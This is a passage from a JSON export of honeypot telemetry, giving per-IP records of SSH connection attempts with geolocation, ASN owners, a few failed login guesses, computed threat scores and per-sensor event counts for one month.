        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 119364,
        "days_active_30d": 3,
        "ports_targeted_30d": 66535,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-06T12:22:31.187000+00:00",
        "last_seen_30d": "2026-03-08T09:43:59.146000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106166,
        "Honeytrap": 13140,
        "Dionaea": 12,
        "ConPot": 10,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "52.188.189.6": {
      "attack_count": 7,
      "first_seen": "2026-03-25T09:57:32.250Z",
      "last_seen": "2026-03-25T09:57:42.281Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 67.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T03:30:10.710000+00:00",
        "last_seen_30d": "2026-03-30T15:01:40.543000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 7,
        "Honeytrap": 6,
        "Dionaea": 2
      }
    },
    "121.139.227.27": {
      "attack_count": 6,
      "first_seen": "2026-03-04T17:13:32.511Z",
      "last_seen": "2026-03-24T06:32:13.385Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Ansan-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:13:32.511000+00:00",
        "last_seen_30d": "2026-03-24T06:33:18.583000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "143.244.152.105": {
      "attack_count": 6,
      "first_seen": "2026-03-12T10:22:12.717Z",
      "last_seen": "2026-03-19T10:22:09.754Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T10:22:12.717000+00:00",
        "last_seen_30d": "2026-03-29T05:14:30.574000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "213.209.159.12": {
      "attack_count": 5,
      "first_seen": "2026-03-05T19:51:20.610Z",
      "last_seen": "2026-03-05T19:51:23.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech2026@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:28:01.828000+00:00",
        "last_seen_30d": "2026-03-05T19:52:26.182000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "218.78.132.164": {
      "attack_count": 5,
      "first_seen": "2026-03-25T16:02:39.038Z",
      "last_seen": "2026-03-25T16:02:41.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "chandan"
      ],
      "passwords_attempted": [
        "chandan"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T16:02:39.038000+00:00",
        "last_seen_30d": "2026-03-25T16:03:50.501000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.56": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:03:20.542Z",
      "last_seen": "2026-03-11T00:03:22.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "191287"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:03:20.542000+00:00",
        "last_seen_30d": "2026-03-11T00:04:26.326000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.72.226.212": {
      "attack_count": 4,
      "first_seen": "2026-03-10T17:05:46.322Z",
      "last_seen": "2026-03-26T09:32:28.112Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 9319,
      "as_org": "HCN CHUNGBUK CABLE TV SYSTEMS",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:05:46.322000+00:00",
        "last_seen_30d": "2026-03-26T09:33:36.978000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "120.157.135.113": {
      "attack_count": 4,
      "first_seen": "2026-03-04T11:42:43.632Z",
      "last_seen": "2026-03-04T22:21:04.252Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T11:42:43.632000+00:00",
        "last_seen_30d": "2026-03-04T22:22:10.998000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.85": {
      "attack_count": 4,
      "first_seen": "2026-03-19T04:36:20.317Z",
      "last_seen": "2026-03-19T04:36:24.186Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 27,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T04:07:41.903000+00:00",
        "last_seen_30d": "2026-03-30T02:40:51.689000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 37,
        "Cowrie": 4,
        "ConPot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "190.216.132.17": {
      "attack_count": 4,
      "first_seen": "2026-03-25T10:52:09.721Z",
      "last_seen": "2026-03-25T17:12:28.919Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T10:52:09.721000+00:00",
        "last_seen_30d": "2026-03-25T17:13:39.108000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.126": {
      "attack_count": 4,
      "first_seen": "2026-03-02T16:32:43.712Z",
      "last_seen": "2026-03-02T16:32:47.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T06:48:32+00:00",
        "last_seen_30d": "2026-03-31T17:13:07.630000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 29,
        "Cowrie": 4,
        "Dionaea": 2,
        "ConPot": 1,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.101": {
      "attack_count": 4,
      "first_seen": "2026-03-05T04:51:23.718Z",
      "last_seen": "2026-03-05T04:51:27.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 29,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T19:15:03+00:00",
        "last_seen_30d": "2026-03-30T04:04:48.611000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 40,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "205.210.31.182": {
      "attack_count": 4,
      "first_seen": "2026-03-13T22:36:51.189Z",
      "last_seen": "2026-03-13T22:36:54.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:47:40.618000+00:00",
        "last_seen_30d": "2026-03-30T21:29:35.540000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 22,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "66.132.195.109": {
      "attack_count": 4,
      "first_seen": "2026-03-24T04:32:50.007Z",
      "last_seen": "2026-03-24T04:33:05.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 7.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 9,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-23T16:05:36+00:00",
        "last_seen_30d": "2026-03-31T14:34:32.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "85.105.140.125": {
      "attack_count": 4,
      "first_seen": "2026-03-28T12:10:27.746Z",
      "last_seen": "2026-03-28T12:10:28.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Ankara",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:10:27.746000+00:00",
        "last_seen_30d": "2026-03-28T12:11:32.868000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "115.191.32.57": {
      "attack_count": 3,
      "first_seen": "2026-03-11T05:21:58.609Z",
      "last_seen": "2026-03-11T05:23:00.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:21:58.609000+00:00",
        "last_seen_30d": "2026-03-11T05:24:03.173000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "4.185.141.198": {
      "attack_count": 3,
      "first_seen": "2026-03-07T13:53:35.480Z",
      "last_seen": "2026-03-07T13:54:18.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:36:20.028000+00:00",
        "last_seen_30d": "2026-03-07T13:55:26.945000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "110.36.19.51": {
      "attack_count": 2,
      "first_seen": "2026-03-28T16:54:57.986Z",
      "last_seen": "2026-03-28T16:55:10.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:54:57.986000+00:00",
        "last_seen_30d": "2026-03-28T16:56:17.792000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "111.242.122.246": {
      "attack_count": 2,
      "first_seen": "2026-03-07T03:58:48.064Z",
      "last_seen": "2026-03-07T03:59:00.515Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:58:48.064000+00:00",
        "last_seen_30d": "2026-03-07T04:00:05.988000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.186.185.47": {
      "attack_count": 2,
      "first_seen": "2026-03-03T09:16:46.760Z",
      "last_seen": "2026-03-03T09:16:59.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 23674,
      "as_org": "Nayatel Pvt Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:16:46.760000+00:00",
        "last_seen_30d": "2026-03-03T09:18:01.386000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.96.246.147": {
      "attack_count": 2,
      "first_seen": "2026-03-08T12:37:51.178Z",
      "last_seen": "2026-03-08T12:38:04.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gangtok",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:37:51.178000+00:00",
        "last_seen_30d": "2026-03-08T12:39:09.981000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.247.252.217": {
      "attack_count": 2,
      "first_seen": "2026-03-21T09:11:08.057Z",
      "last_seen": "2026-03-21T09:11:20.949Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kannur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T09:11:08.057000+00:00",
        "last_seen_30d": "2026-03-21T09:12:27.656000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.204.3.1": {
      "attack_count": 2,
      "first_seen": "2026-03-02T07:49:19.654Z",
      "last_seen": "2026-03-02T07:49:50.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 4780,
      "as_org": "Digital United Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:49:19.654000+00:00",
        "last_seen_30d": "2026-03-02T07:50:51.628000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.232.183": {
      "attack_count": 2,
      "first_seen": "2026-03-16T02:26:27.668Z",
      "last_seen": "2026-03-16T02:26:27.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T02:26:27.668000+00:00",
        "last_seen_30d": "2026-03-16T02:27:36.724000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "176.65.148.193": {
      "attack_count": 2,
      "first_seen": "2026-03-02T18:06:42.131Z",
      "last_seen": "2026-03-02T18:07:28.622Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:06:42.131000+00:00",
        "last_seen_30d": "2026-03-02T18:08:31.120000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.122.229.183": {
      "attack_count": 2,
      "first_seen": "2026-03-08T11:50:14.830Z",
      "last_seen": "2026-03-08T11:50:28.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:50:14.830000+00:00",
        "last_seen_30d": "2026-03-08T11:51:29.379000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.228.157.15": {
      "attack_count": 2,
      "first_seen": "2026-03-09T00:25:22.411Z",
      "last_seen": "2026-03-09T00:25:37.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 61.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 25,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:12:17.219000+00:00",
